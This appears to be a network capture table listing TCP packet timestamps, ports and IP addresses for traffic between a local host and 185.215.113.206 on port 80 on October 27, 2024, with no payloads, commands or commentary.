Oct 27, 2024 00:31:14.500037909 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500049114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.500055075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500070095 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500078917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.500086069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500094891 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.500129938 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.500861883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500879049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500893116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.500910997 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.500937939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.500938892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607356071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.607392073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.607424974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607467890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607508898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.607553005 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607601881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.607619047 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.607640982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607665062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607861996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.607916117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.607976913 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608016014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608154058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608169079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608184099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608197927 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608201027 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608217955 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608222008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608242035 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608272076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608601093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608648062 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608705044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608721018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608735085 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608750105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.608753920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608769894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.608802080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.609261990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.609276056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.609289885 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.609306097 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.609309912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.609323025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.609327078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.609339952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.609361887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.609375954 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610028982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610044956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610075951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610093117 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610246897 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610291004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610296965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610312939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610327959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610332012 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610349894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610369921 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610857964 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610872984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610887051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610905886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610908985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610922098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.610925913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.610958099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.611676931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.611691952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.611706018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.611721039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.611735106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.611751080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.611759901 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.611780882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.611780882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.611792088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.612520933 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.612536907 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.612550020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.612565041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.612569094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.612579107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.612588882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.612617016 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.613393068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.613409042 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.613421917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.613437891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.613440037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.613454103 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.613459110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.613471031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.613490105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.613511086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614159107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614176035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614191055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614202976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614206076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614218950 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614223003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614236116 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614260912 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614783049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614799976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614814043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614825010 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614830017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.614840031 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614852905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.614866018 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.722423077 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.722455025 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.722584963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.722585917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.722676992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.722719908 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.722726107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.722770929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.722774982 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.722835064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.722925901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.722970009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723118067 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723171949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723212004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723227978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723257065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723287106 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723495007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723509073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723529100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723552942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723552942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723582029 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723891973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723906040 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723922968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723937988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.723937988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723967075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723967075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.723999977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724267006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724282980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724298954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724315882 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724317074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724333048 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724340916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724363089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724385977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724792004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724807978 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724842072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724869967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.724914074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.724972963 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725017071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725032091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725045919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725061893 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725060940 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725076914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725087881 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725089073 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725095034 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725122929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725122929 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725143909 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725893974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725908041 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725922108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725936890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725949049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725950956 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725969076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.725981951 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.725986004 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726011992 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726038933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726561069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726573944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726609945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726635933 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726700068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726715088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726730108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726752043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726752043 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726766109 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726773977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726783037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726798058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726814032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726818085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726818085 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726828098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.726854086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726854086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.726875067 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.727727890 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727744102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727757931 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727772951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727777004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.727787971 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727804899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727807999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.727807999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.727822065 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727835894 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.727838039 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.727860928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.727880955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.728723049 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728738070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728750944 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728765965 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728780985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728781939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.728781939 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.728799105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728802919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.728815079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728827000 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.728830099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.728873014 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.728899002 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.729542017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.729594946 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838223934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838314056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838345051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838397980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838434935 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838454962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838455915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838455915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838455915 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838469028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838505030 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838541985 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838547945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838547945 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838648081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838677883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838706970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838711023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838731050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838745117 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838754892 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838799953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838917017 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838951111 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.838970900 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.838996887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839006901 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839057922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839246035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839281082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839303970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839327097 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839333057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839371920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839382887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839421988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839649916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839685917 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839704037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839720011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839734077 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839756966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.839773893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.839803934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840085983 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840121031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840146065 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840154886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840167999 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840192080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840212107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840235949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840527058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840562105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840584040 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840610027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840615988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840651989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840667009 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840687990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840702057 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840725899 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.840740919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.840779066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.841262102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841296911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841329098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841337919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.841337919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.841362953 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841372967 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.841398954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841448069 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841481924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.841514111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.841557026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842164993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842200994 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842228889 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842231989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842248917 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842264891 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842286110 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842299938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842310905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842334986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842354059 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842369080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842394114 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842401981 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:14.842417955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:14.842436075 CEST	80	49709	185.215.113.206	192.168.2.6
